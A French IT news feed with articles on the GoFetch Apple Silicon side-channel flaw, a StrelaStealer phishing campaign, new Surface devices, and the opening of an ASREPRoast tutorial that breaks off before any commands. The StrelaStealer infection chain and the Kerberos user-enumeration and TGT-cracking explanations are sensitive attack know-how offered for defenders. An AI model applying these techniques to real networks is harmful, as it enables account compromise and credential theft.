<p>Une équipe de chercheurs du MIT <em>Computer Science &amp; Artificial Intelligence Laboratory (CSAIL)&nbsp;</em>a mis au point<strong> une technique d'attaque baptisée GoFetch</strong>, qui exploite une <strong>faille de sécurité matérielle</strong> présente dans les puces Apple Silicon. Cette attaque de type "<em>side-channel</em>" cible une fonction d'<strong>optimisation matérielle</strong> appelée <strong>Data Memory-dependent Prefetcher (DMP)</strong>.</p>



<p>Le DMP est <strong>une fonction intégrée dans les puces Apple </strong>et qui a pour objectif d'aider le processeur à deviner les données dont il pourrait avoir besoin ensuite afin d'optimiser les performances (principe du <em>prefetch</em>). Dans le cas présent, l'attaque permet de <strong>tromper la fonction DMP afin qu'elle révèle des informations sensibles stockées en mémoire</strong>.</p>



<p>En effet, en exploitant GoFetch, un attaquant pourrait<strong> extraire des clés cryptographiques</strong> <strong>stockées sur un Mac</strong> (OpenSSL Diffie-Hellman, Go RSA, CRYSTALS Kyber et Dilithium) dans le but de contourner les opérations de chiffrement effectuées directement par la puce Apple Silicon. Il serait possible de compromettre les clés utilisées par divers algorithmes de chiffrement. <em>In fine</em>, ceci facilite<strong> l'accès aux données stockées sur le Mac</strong>. </p>



<p>Pour mener à bien cette attaque, <strong>l'attaquant doit convaincre la victime d'exécuter un malware</strong> (par l'intermédiaire d'un e-mail malveillant, par exemple). Le <strong>malware doit être exécuté en parallèle de l'application prise pour cible</strong>, et ce, pendant un certain temps afin de pouvoir voler la clé. </p>



<h2 class="wp-block-heading">Comment se protéger de la faille GoFetch ?</h2>



<p>GoFetch fait référence à <strong>une faille de sécurité matérielle dans l'architecture même des puces Apple</strong>, donc en raison de sa nature, <strong>il ne sera pas possible de corriger directement la vulnérabilité.</strong> L'intégration d'un correctif ou d'une mesure d'atténuation va passer par la couche logicielle. </p>



<p>Le problème, c'est que la mise en œuvre d'un quelconque correctif va<strong> très fortement dégrader les performances des puces Apple</strong>, en particulier les deux premières générations : <strong>Apple M1 et M2</strong>. D'ailleurs, au passage, cette histoire n'est pas sans rappeler<strong> les failles de sécurité Meltdown et Spectre qui touchaient de nombreux processeurs Intel et AMD</strong> et dont la correction impactait également les performances du processeur.</p>



<p>Pour en savoir plus, vous pouvez consulter le <a href="https://gofetch.fail/" target="_blank" rel="noopener nofollow" title="">site officiel de GoFetch</a>. Sur ce site, il est d'ailleurs précisé qu'un code PoC sera mis en ligne prochainement... Apple ne s'est pas encore exprimé au sujet de GoFetch. Affaire à suivre...</p><p>The post <a href="https://www.it-connect.fr/faille-securite-materielle-gofetch-affecte-les-puces-apple-m1-m2-m3/">La faille matérielle GoFetch affecte les puces Apple M1, M2 et M3 et ne peut pas être corrigée !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=78430
title: Phishing : plus de 100 organisations en Europe et aux États-Unis impactées par StrelaStealer
uri: Phishing-plus-de-100-organisations-en-Europe-et-aux-États-Unis-impa
url:
https://www.it-connect.fr/phishing-plus-de-100-organisations-en-europe-et-aux-etats-unis-impactees-par-strelastealer/

content:
<p><strong>Une centaine d'organisations situées aux États-Unis et en Europe ont été victime d'une nouvelle campagne malveillante visant à déployer le malware StrelaStealer ! Voici ce qu'il faut savoir sur cette menace.</strong></p>



<p>L'Unit42 de Palo Alto Networks a publié <a href="https://unit42.paloaltonetworks.com/strelastealer-campaign/" target="_blank" rel="noopener nofollow" title="">un rapport au sujet de la menace StrelaStealer</a>, un logiciel malveillant repéré pour la première fois en novembre 2022. Après avoir infecté une machine, son objectif est de<strong> voler les informations d'identification des comptes de messagerie</strong> dans les applications <strong>Outlook </strong>et <strong>Thunderbird</strong>.</p>



<p>Alors qu'à la base ce malware ciblait principalement les utilisateurs hispanophones, il s'avère que les cybercriminels ont fait évoluer leur plan : désormais l'Europe et les États-Unis sont pris pour cible. Pour cela, les pirates n'hésitent pas à <strong>traduire en plusieurs langues les fichiers utilisés par ce malware</strong>, ce qui le rend <strong>polyglotte</strong> et lui permet de s'adapter à la cible.</p>



<p>Comme beaucoup d'autres logiciels malveillants,<strong> StrelaStealer est distribué par l'intermédiaire de phishing</strong>. Depuis la fin du mois de janvier, l'Unit42 a détecté une forte hausse de l'activité avec un important volume d'e-mails malveillants envoyés par jour. L'Unit42 évoque<strong> jusqu'à 500 organisations ciblées par jour</strong> et il y a eu des victimes : "<em>Récemment, nos chercheurs ont identifié une vague de campagnes StrelaStealer à grande échelle touchant plus de 100 organisations dans l'UE et aux États-Unis.</em>", peut-on lire dans le rapport. Dans la grande majorité des cas, ce sont<strong> les organisations du secteur des nouvelles technologies qui ont été les plus visées</strong>.</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="382" src="media/13ad6121.StrelaStealer-Augmentation-des-attaques.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/StrelaStealer-Augmentation-des-attaques.jpg" alt="" class="wp-image-78432" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/StrelaStealer-Augmentation-des-attaques.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/StrelaStealer-Augmentation-des-attaques-550x263.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/StrelaStealer-Augmentation-des-attaques-150x72.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/StrelaStealer-Augmentation-des-attaques-768x367.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/StrelaStealer-Augmentation-des-attaques-50x24.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption class="wp-element-caption">Source : Unit42</figcaption></figure>



<h2 class="wp-block-heading">La chaine d'infection de StrelaStealer </h2>



<p>Les pirates ont fait évoluer la chaine d'infection du malware StrelaStealer. Désormais, l'e-mail malveillant contient une pièce jointe au format ZIP qui a pour objectif de déposer des fichiers JScript sur la machine de la victime. Dans le cas où ces scripts sont exécutés, ils déposent un fichier <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/scripting/batch/" target="_blank" rel="noopener" title="batch" data-wpil-keyword-link="linked">batch</a> et un fichier encodé en base64, qui donne lieu à une DLL qui sera exécutée via rundll32.exe afin de déployer le <em>payload </em>StrelaStealer.</p>



<p>Le schéma ci-dessous, issu du rapport d'Unit42 permet de comparer l'ancienne et la nouvelle chaine d'infection.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="274" src="media/839c2ff8.StrelaStealer-Chaine-infection-2024.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/StrelaStealer-Chaine-infection-2024.jpg" alt="" class="wp-image-78431" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/StrelaStealer-Chaine-infection-2024.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/StrelaStealer-Chaine-infection-2024-550x188.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/StrelaStealer-Chaine-infection-2024-150x51.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/StrelaStealer-Chaine-infection-2024-768x263.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/StrelaStealer-Chaine-infection-2024-50x17.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption class="wp-element-caption">Source : Unit42</figcaption></figure>



<p>Si le logiciel malveillant est déployé, il vole les identifiants mémorisés dans Outlook et Thunderbird et ces informations sont immédiatement envoyées aux attaquants par <strong>l'intermédiaire d'un serveur C2</strong>.</p>



<p><em>Une fois de plus, méfiance avec les e-mails...</em></p>



<p><a href="https://www.bleepingcomputer.com/news/security/over-100-us-and-eu-orgs-targeted-in-strelastealer-malware-attacks/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/phishing-plus-de-100-organisations-en-europe-et-aux-etats-unis-impactees-par-strelastealer/">Phishing : plus de 100 organisations en Europe et aux États-Unis impactées par StrelaStealer</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=78420
title: Avec la Surface Pro 10 et le Surface Laptop 6, Microsoft rentre dans l’ère des PC IA
uri: Avec-la-Surface-Pro-10-et-le-Surface-Laptop-6-Microsoft-rentre-dans-l
url: https://www.it-connect.fr/microsoft-surface-pro-10-et-surface-laptop-6-pc-ia/
content:
<p><strong>Microsoft a dévoilé ses premiers PC boostés à l'IA et dont le clavier intègre une nouvelle touche dédiée à Copilot : la Surface Pro 10 et le Surface Laptop 6. Faisons le point sur ces nouveautés !</strong></p>



<p>Les premiers ordinateurs de Microsoft équipés d'une <strong><a href="https://www.it-connect.fr/le-clavier-des-pc-windows-va-accueillir-une-nouvelle-touche-pour-copilot/" target="_blank" rel="noopener" title="Le clavier des PC Windows va accueillir une nouvelle touche pour Copilot !">touche Copilot sur le clavier</a></strong> et équipés d'<strong>une unité de traitement neuronal (NPU)</strong> ont été dévoilés ! Ces nouveaux appareils de Microsoft entrent dans ce que l'on appelle l'ère des PC IA. En effet, selon les configurations, la Surface Pro 10 et le Surface Laptop 6 pourront bénéficier d'<strong>un processeur Intel Core Ultra 5 ou Intel Core Ultra 7</strong>, ainsi qu'un <strong>NPU Intel AI Boost</strong>.</p>



<p>D'après Microsoft : "<em>Du point de vue des performances, le Surface Laptop 6 est deux fois plus rapide que le Laptop 5, et le Surface Pro 10 est jusqu'à 53 % plus rapide que le Pro 9</em>." - Le NPU Intel AI Boost devrait permettre à la machine d'être plus efficace pour traiter les tâchées liées à l'IA, ce qui devrait optimiser l'autonomie générale de la batterie. L'entreprise américaine annonce <strong>jusqu'à 19 heures d'autonomie pour ces deux modèles</strong>, soit 4 heures de plus pour la Surface Pro 10 et 2 heures de plus pour le Laptop 6.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="600" src="media/bd838395.Microsoft-Surface-Laptop-6-Clavier-Copilot.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Microsoft-Surface-Laptop-6-Clavier-Copilot.jpg" alt="Microsoft Surface Laptop 6 - Clavier Copilot" class="wp-image-78425" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Microsoft-Surface-Laptop-6-Clavier-Copilot.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Microsoft-Surface-Laptop-6-Clavier-Copilot-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Microsoft-Surface-Laptop-6-Clavier-Copilot-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Microsoft-Surface-Laptop-6-Clavier-Copilot-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Microsoft-Surface-Laptop-6-Clavier-Copilot-50x38.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption class="wp-element-caption">Microsoft Surface Laptop 6, avec la touche de clavier Copilot</figcaption></figure>



<p>Microsoft abandonne sa configuration basée sur 128 Go de stockage flash pour proposer <strong>au minimum 256 Go</strong>, et jusqu'à 1 To pour la version la plus complète. Pour la mémoire vive, vous avez le choix entre 8 Go, 16 Go, 32 Go et même <strong>64 Go de RAM pour la première fois</strong>. Par ailleurs, au niveau de la connectivité, ces deux appareils auront le droit au <strong>Wi-Fi 6E (802.11ax)</strong> et au<strong> Bluetooth 5.3</strong>.</p>



<p>Pour faciliter la lecture des clés de sécurité, la<strong> Surface Pro 10 bénéficie d'une puce NFC</strong>, ce qui est une nouveauté vis-à-vis des générations précédentes. Du côté du <strong>Surface Laptop 6, un lecteur de carte à puce est intégré à certaines versions</strong>, et uniquement aux États-Unis et au Canada, d'après le site de Microsoft.</p>



<p>Par ailleurs, ce nouveau modèle de Surface Pro bénéficie d'un <strong>nouveau revêtement antireflet qui devrait améliorer la visibilité de l'écran</strong>, ainsi que d'une <strong>caméra ultra-large</strong> (champ de vision de 114 degrés) de 10,5 mégapixels et d'<strong>une résolution de 1440p</strong>. De son côté, le Laptop 6 bénéficie d'une nouvelle caméra pour passer de <strong>720p à 1080p</strong>.</p>



<h2 class="wp-block-heading">Prix et disponibilité</h2>



<p>Pour le moment,<strong> la Surface Pro 10 et le Surface Laptop 6 sont disponibles uniquement pour les entreprises</strong>. Il s'agit d'appareils estampillés "for business", même s'il n'est pas à exclure que le grand public puisse en bénéficier par la suite. Les précommandes sont ouvertes et les premières livraisons sont prévues pour le 10 avril 2024.</p>



<p>Ces deux appareils sont disponibles<strong> à partir de 1 399 euros TTC</strong>. Un tarif variable selon la configuration choisie : processeur, RAM, stockage, etc. À ce prix-là, vous avez le droit à une<strong> Surface Pro 10 avec un processeur Intel Ultra 5 135U, 8 Go de RAM et de 256 Go de SSD</strong>. A cela, il faudra ajouter le tarif du clavier Surface Pro (à partir de 159.99 € TTC).</p>



<p>Pour en savoir plus : </p>



<ul>
<li><a href="https://www.microsoft.com/fr-fr/d/surface-laptop-6-pour-les-entreprises/8pz3fvs57qcv" target="_blank" rel="noopener nofollow" title="">Microsoft Surface Laptop 6</a></li>



<li><a href="https://www.microsoft.com/fr-fr/d/surface-pro-10-pour-les-entreprises/8v73d6qwrss1" target="_blank" rel="noopener nofollow" title="">Microsoft Surface Pro 10</a></li>
</ul>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/1ea48cdf.Microsoft-Surface-Laptop-6.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Microsoft-Surface-Laptop-6.jpg"><img decoding="async" width="800" height="600" data-id="78423" src="media/1ea48cdf.Microsoft-Surface-Laptop-6.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Microsoft-Surface-Laptop-6.jpg" alt="" class="wp-image-78423" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Microsoft-Surface-Laptop-6.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Microsoft-Surface-Laptop-6-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Microsoft-Surface-Laptop-6-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Microsoft-Surface-Laptop-6-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Microsoft-Surface-Laptop-6-50x38.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="600" data-id="78424" src="media/cc439471.Microsoft-Surface-Pro-10.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Microsoft-Surface-Pro-10.jpg" alt="" class="wp-image-78424" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Microsoft-Surface-Pro-10.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Microsoft-Surface-Pro-10-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Microsoft-Surface-Pro-10-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Microsoft-Surface-Pro-10-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Microsoft-Surface-Pro-10-50x38.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>
</figure>



<p><a href="https://www.zdnet.fr/actualites/microsoft-devoile-la-surface-pro-10-et-le-laptop-6-avec-des-fonctionnalites-d-ia-39965120.htm" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/microsoft-surface-pro-10-et-surface-laptop-6-pc-ia/">Avec la Surface Pro 10 et le Surface Laptop 6, Microsoft rentre dans l’ère des PC IA</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=76430
title: Sécurité de l’Active Directory : comprendre et se protéger de l’attaque ASREPRoast
uri: 2024-03-26-
url: https://www.it-connect.fr/securite-active-directory-comprendre-et-se-proteger-attaque-asreproast/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Dans cet article, nous allons comprendre, exploiter et corriger une vulnérabilité fréquente sur les environnements Active Directory : ASREPRoast.</strong></p>



<p>Ce nom ne vous dit peut-être rien, mais il s'agit d'un défaut de configuration fréquent dans l'Active Directory. L'attaque ASREPRoast permet à un attaquant situé sur un réseau d'entreprise possédant un domaine de <strong>compromettre rapidement un compte utilisateur</strong>, et ainsi de passer d'un mode opératoire boite noire (attaque sans identifiants valides, juste une connexion au réseau) à un mode boite grise (attaque depuis un compte valide sur le domaine). Le passage d'un mode boite noire à boite grise change en général la donne de façon très importante lors d'une cyberattaque, car <strong>l'accès authentifié au domaine permet d'en extraire beaucoup d'informations</strong>.</p>



<p>L'objectif de cet article est de vous <strong>expliquer en détail cette vulnérabilité</strong>. Nous allons notamment voir comment elle peut être introduite sur un Active Directory, comment un <strong>attaquant peut l'exploiter</strong> et comment un <strong>défenseur peut l'identifier et la corriger</strong>.</p>



<p>C'est parti !</p>



<h2 class="wp-block-heading">II. Qu'est-ce que l'attaque ASREPRoast ?</h2>



<h3 class="wp-block-heading">A. Dans les grandes lignes</h3>



<p>Commençons par essayer de comprendre le nom de l'attaque. "<strong>ASREP</strong>" fait référence au message "<strong>KRB-AS-REP</strong>" du service Kerberos lors d'une authentification (réponse à un message KRB-AS-REQ, une requête d'authentification Kerberos). "<strong>Roast</strong>" renvoi simplement au mot "rôtir" ou "cuisiner" car l'on devra ensuite travailler un peu sur la donnée obtenue pour pouvoir l'utiliser.</p>



<p>Au sein d'un domaine, <strong>l'authentification Kerberos est assurée par le composant <em>Key Distribution Center</em> (KDC)</strong> des contrôleurs de domaine. Lorsqu'un utilisateur souhaite accéder à un service ou à une ressource réseau, il doit d'abord <strong>obtenir un <em>Ticket Granting Ticket</em> (TGT) auprès du KDC</strong>. Pour cela, l'utilisateur envoie une requête de type "<strong>KRB-AS-REQ</strong>" (<em>Kerberos Authentication Service Request</em>) au KDC, elle contient notamment des informations d'identification de l'utilisateur et une clé liée à son mot de passe.</p>



<p>Le KDC vérifie alors les informations d'identification fournies par l'utilisateur. Si celles-ci sont correctes et que l'utilisateur existe dans le domaine, le KDC lui délivre un TGT. Ce TGT est ensuite utilisé par l'utilisateur pour obtenir des tickets de session (TGS) lui permettant d'accéder aux différents services réseau sans avoir à fournir à nouveau ses informations d'identification. <strong>Ce processus s'appelle pre-authentification</strong>.</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><a href="media/5d03fb34.asreproast-schema-preauth.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-schema-preauth.png"><img fetchpriority="high" decoding="async" width="800" height="308" src="media/ad03f381.asreproast-schema-preauth-800x308.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-schema-preauth-800x308.png" alt="Schéma d'une authentification Kerberos et de l'émission d'un TGT." class="wp-image-76534" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-schema-preauth-800x308.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-schema-preauth-550x212.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-schema-preauth-150x58.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-schema-preauth-768x295.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-schema-preauth-50x19.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-schema-preauth.png 962w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption class="wp-element-caption">Schéma d'une authentification Kerberos et de l'émission d'un TGT.</figcaption></figure></div>


<p>Cependant, il existe une configuration spécifique représentée par un attribut sur les comptes utilisateurs appelé "<em>Do not require Kerberos preauthentication</em>". Cet attribut <strong>autorise l'envoi d'un TGT pour un compte sans que le demandeur ait prouvé son identité au préalable</strong>.</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="281" src="media/d09766c0.asreproast-schema-preauth-notreq-800x281.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-schema-preauth-notreq-800x281.png" alt="Schéma de l'émission d'un TGT pour un utilisteur ayant l'attribut &quot;Do not require Kerberos preauthentication&quot;." class="wp-image-76535" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-schema-preauth-notreq-800x281.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-schema-preauth-notreq-550x194.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-schema-preauth-notreq-150x53.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-schema-preauth-notreq-768x270.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-schema-preauth-notreq-50x18.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-schema-preauth-notreq.png 972w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption class="wp-element-caption">Schéma de l'émission d'un TGT pour un utilisteur ayant l'attribut "<em>Do not require Kerberos preauthentication</em>".</figcaption></figure></div>


<p>En conséquence, <strong>n'importe qui sur le réseau peut obtenir un TGT représentant ce compte utilisateur</strong> et tenter d'usurper son identité. Il est important de noter que le TGT obtenu ne peut être utilisé que si la personne qui le détient connaît le mot de passe du compte associé. Cependant, <strong>en cas d'utilisation d'un mot de passe faible</strong>, le contenu du TGT peut être utilisé pour retrouver le mot de passe du compte utilisateur.</p>



<blockquote class="wp-block-quote">
<p>Le TGT ne contient pas directement le mot de passe de l'utilisateur. Mais, il contient des informations chiffrées grâce au secret de l'utilisateur, qui sont utilisés pour prouver l'identité de l'utilisateur lorsqu'il demande des tickets de session ultérieurs. Ainsi, des "traces" du mot de passe s'y trouve, ce qui permet de tenter de casser le TGT pour retrouver le mot de passe en clair.</p>
</blockquote>



<p>Cette attaque est très connue des attaquants, si bien qu'elle dispose de son propre TTP (<em>Tactics, Technics and Procedures</em>) dans le framework MITRE ATT&amp;CK : <a href="https://attack.mitre.org/techniques/T1558/004/" target="_blank" rel="noopener nofollow" title="T1558.004- Steal or Forge Kerberos Tickets:&nbsp;AS-REP Roasting">T1558.004- Steal or Forge Kerberos Tickets:&nbsp;AS-REP Roasting</a>.</p>



<h3 class="wp-block-heading">B. Dans le détail</h3>



<p>Regardons à présent dans le détail ce qu'il se passe lors d'une authentification via Kerberos. Pour cela, j'ai effectué une capture réseau des échanges dans différents cas de figures. </p>



<ul>
<li><strong>AS-REQ pour un login inexistant</strong></li>
</ul>



<p>Lorsqu'un utilisateur souhaite s'authentifier auprès du service Kerberos, le client envoi dans un premier temps un message de demande d'authentification ("<strong>KRB-AS-REQ</strong>"), voici à quoi il ressemble sur une capture réseau (cliquez sur l'image pour zoomer) :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><a href="media/411c4b17.asreproast-kerberos-principal-unknown.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-principal-unknown.png"><img decoding="async" width="800" height="369" src="media/90b1954a.asreproast-kerberos-principal-unknown-800x369.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-principal-unknown-800x369.png" alt="&quot;AS-REQ&quot; suivi d'une erreur &quot;ERR_C_PRINCIPAL_UNKNOWN&quot;." class="wp-image-76457" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-principal-unknown-800x369.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-principal-unknown-550x253.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-principal-unknown-150x69.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-principal-unknown-768x354.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-principal-unknown-50x23.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-principal-unknown.png 1183w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption class="wp-element-caption">"<strong>AS-REQ</strong>" suivi d'une erreur "<strong>ERR_C_PRINCIPAL_UNKNOWN</strong>".</figcaption></figure></div>


<p>Dans le cas d'une demande d'authentification avec un login incorrect, c'est-à-dire qui n'existe pas dans l'Active Directory, le service Kerberos renvoi un message de type "<strong>KRB-ERROR : C-PRINCIPAL-UNKNOWN</strong>" en réponse à l'<strong>AS-RE</strong>" du client. Le message est clair : l'utilisateur "<strong>MMARTIN1</strong>" n'existe pas dans l'Active Directory.</p>



<ul>
<li><strong>AS-REQ pour un login existant avec pré-authentification</strong></li>
</ul>



<p>Si le login est correct, le service renvoi une réponse de type "<strong>KRB-ERROR : PREAUTH REQUIRED</strong>". Cette réponse du service Kerberos indique que pour obtenir un TGT pour cet utilisateur, il faut au préalable s'authentifier, ce qui est plutôt une bonne nouvelle d'un point de vue sécurité. Rappelons que les TGT sont des tickets qui permettent de demander des TGS (<em>Ticket Granting Service</em>) pour accéder à un <strong>service au nom de l'utilisateur présenté dans le ticket</strong>. Il est donc préférable de prouver son identité (s'authentifier) au préalable. </p>



<blockquote class="wp-block-quote">
<p>À noter que cette différence de comportement dans la réponse du service ("<strong>PRINCIPAL_UNKNOWN </strong>"ou "<strong>PREAUTH REQUIRED</strong>") permet <strong>une énumération des utilisateurs basée sur un dictionnaire</strong>. Sans même connaitre le mot de passe associé à un compte, on peut savoir s'il existe dans l'annuaire, car le service Kerberos nous indiquera clairement cette information dans sa réponse.</p>
</blockquote>



<p>Voici à quoi rassemble une réponse "<strong>PREAUTH_REQUIRED</strong>". Suite à cette réponse, notre client s'authentifie envoyant un message "<strong>AS-REQ</strong>", encore ? (cliquez sur l'image pour zoomer) :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><a href="media/aa6a64ac.asreproast-kerberos-pre-auth-req.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-pre-auth-req.png"><img decoding="async" width="800" height="469" src="media/fa344bd4.asreproast-kerberos-pre-auth-req-800x469.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-pre-auth-req-800x469.png" alt="Réponse &quot;ERR_PREAUTH_REQUIRED&quot; indiquant que le compte utilisateur existe dans l'annuaire." class="wp-image-76458" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-pre-auth-req-800x469.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-pre-auth-req-550x323.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-pre-auth-req-150x88.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-pre-auth-req-768x450.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-pre-auth-req-50x29.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-pre-auth-req.png 1151w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption class="wp-element-caption">Réponse "<strong>ERR_PREAUTH_REQUIRED</strong>" indiquant que le compte utilisateur existe dans l'annuaire.</figcaption></figure></div>


<p>Ce second message "<strong>AS-REQ</strong>" contient cependant un nouvel item, il s'agit d'une donnée chiffrée à l'aide d'une clé liée au mot de passe utilisateur. Si le service Kerberos parvient à déchiffrer ce message avec le mot de passe de l'utilisateur (qu'il possède de son côté grâce à l'annuaire et sa base NTDS.DIT) alors, <strong>il aura la preuve qu'il s'agit du bon mot de passe, et donc du vrai utilisateur</strong>. Tout cela sans que le mot de passe ait transité en clair sur le réseau. Pour plus de détails, sachez que la donnée chiffrée est un <em>timestamp</em> : c'est-à-dire la date et l'heure actuelle dans un format précis (notez le "<strong>pA-ENC-TIMESTAMP</strong>" dans la seconde AS-REQ).</p>



<p>Enfin, si les identifiants sont corrects, le service envoi un message de réponse "<strong>AS-REP</strong>" contenant notamment un TGT, qui permet de demander ensuite des TGS (cliquez sur l'image pour zoomer) :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><a href="media/37f7ee55.asreproast-kerberos-asrep-tgt.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-asrep-tgt.png"><img decoding="async" width="800" height="578" src="media/f1e3fb32.asreproast-kerberos-asrep-tgt-800x578.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-asrep-tgt-800x578.png" alt="Transmission d'un TGT par le service Keberos suite à une authentification réussie." class="wp-image-76459" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-asrep-tgt-800x578.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-asrep-tgt-550x398.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-asrep-tgt-150x108.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-asrep-tgt-768x555.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-asrep-tgt-50x36.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/asreproast-kerberos-asrep-tgt.png 870w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption class="wp-element-caption">Transmission d'un TGT par le service Keberos suite à une authentification réussie.</figcaption></figure></div>


<p> Voilà à quoi ressemble une authentification "classique" via Kerberos en vue d'obtenir un TGT.</p>



<ul>
<li><strong>AS-REQ pour un login existant sans pré-authentification</strong></li>
</ul>



